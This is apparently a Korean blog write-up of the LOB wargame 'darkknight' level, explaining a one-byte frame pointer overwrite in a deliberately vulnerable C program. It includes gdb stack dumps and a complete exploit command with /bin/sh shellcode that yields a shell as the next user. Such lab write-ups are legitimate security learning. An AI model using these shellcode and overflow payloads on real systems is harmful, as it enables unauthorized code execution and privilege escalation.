본문 바로가기

CTF_Write_UP/LOB

[LOB] golem

시작

휴갑니다 휴가!!!

바로 집 와서 LOB부터 켰어요 ㅎㅎ

저번에 풀다 만 FPO 문제 빠르게 넘어가겠습니당

Write UP

/* 
        The Lord of the BOF : The Fellowship of the BOF 
        - darkknight 
        - FPO 
*/ 

#include <stdio.h>
#include <stdlib.h>

void problem_child(char *src) 
{ 
        char buffer[40]; 
        strncpy(buffer, src, 41); 
        printf("%s\n", buffer); 
} 

main(int argc, char *argv[]) 
{ 
        if(argc<2){ 
                printf("argv error\n"); 
                exit(0); 
        } 

        problem_child(argv[1]); 
}

Fake EBP랑 비슷하게 SFP에 변화를 주면, leave ret 할 때 EIP가 조작되어 발생하는 취약점이에요.

처음엔 pop 명령어가 주소를 뽑아내는 것인 줄 알고 한…참 멘붕왔었는데

값을 뽑는거에요 값을!!! 이거 때매 무한 삽질 했습니다ㅠㅠㅠ

gdb로 버퍼를 가리키는 주소 찾는 데도 오래 걸렸어요 ㅎ..

(gdb) x/40wx $ebp-40 
0xbffffab4:     0x41414141      0x41414141      0x41414141      0x41414141 
0xbffffac4:     0x41414141      0x41414141      0x41414141      0x41414141 
0xbffffad4:     0x41414141      0x41414141      0xbffffa41      0x0804849e 
0xbffffae4:     0xbffffc4a      0xbffffb08      0x400309cb      0x00000002 
0xbffffaf4:     0xbffffb34      0xbffffb40      0x40013868      0x00000002 
0xbffffb04:     0x08048390      0x00000000      0x080483b1      0x0804846c 
0xbffffb14:     0x00000002      0xbffffb34      0x080482e4      0x080484dc 
0xbffffb24:     0x4000ae60      0xbffffb2c      0x40013e90      0x00000002 
0xbffffb34:     0xbffffc2f      0xbffffc4a      0x00000000      0xbffffc74 
0xbffffb44:     0xbffffc87      0xbffffca0      0xbffffcbf      0xbffffce1

버퍼의 시작 주소는 0xbffffab4에요.

프레임 포인터를 조작하려면 임마를 가리키는 주소가 있어야 하는데..

(gdb) x/40wx $ebp-56 
0xbffffaa4:     0x08048455      0xbffffab4      0xbffffc4a      0x00000029 
0xbffffab4:     0x41414141      0x41414141      0x41414141      0x41414141 
0xbffffac4:     0x41414141      0x41414141      0x41414141      0x41414141 
0xbffffad4:     0x41414141      0x41414141      0xbffffa41      0x0804849e 
0xbffffae4:     0xbffffc4a      0xbffffb08      0x400309cb      0x00000002 
0xbffffaf4:     0xbffffb34      0xbffffb40      0x40013868      0x00000002 
0xbffffb04:     0x08048390      0x00000000      0x080483b1      0x0804846c 
0xbffffb14:     0x00000002      0xbffffb34      0x080482e4      0x080484dc 
0xbffffb24:     0x4000ae60      0xbffffb2c      0x40013e90      0x00000002 
0xbffffb34:     0xbffffc2f      0xbffffc4a      0x00000000      0xbffffc74

치사하게 버퍼 앞 쪽에 있었어요.

뒤에만 열심히 찾아봤는데 너무하네요.

main()으로 넘어오면 leave 할 때 pop ebp가 일어나기 때문에 저 주소 + 4를 해줘야 해요.

그래야 pop eip0xbffffaa8에 있는 값(버퍼의 시작 주소)이 eip에 들어가겠죠??

페이로드는 0xbffffaa8에 4를 더한 0xbffffaac를 넣어줄 거에요.

[golem@localhost golem]$ ./darkknight `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90" * 15 + "\xac"'` 
1▒Ph//shh/bin▒▒PS▒▒° 
                    ̀▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒6▒▒▒▒▒▒ @ 
bash$ whoami 
darkknight 
bash$ my-pass 
euid = 512 
new attacker

Exploit!! 귀차니즘이 낭낭히 묻어나오는 풀이었습니다 ㅎㅎㅎㅎ

마무리

이제 슬슬 기법들이 나오네요..

다음은 ROP를 기대해봐도 될 것 같습니다!!!

감사합니다 :D

'CTF_Write_UP > LOB' 카테고리의 다른 글

[LOB] bugbear  (0) 2019.08.02
[LOB] darkknight  (0) 2019.08.01
[LOB] skeleton  (0) 2019.07.05
[LOB] vampire  (0) 2019.07.04
[LOB] troll  (0) 2019.07.04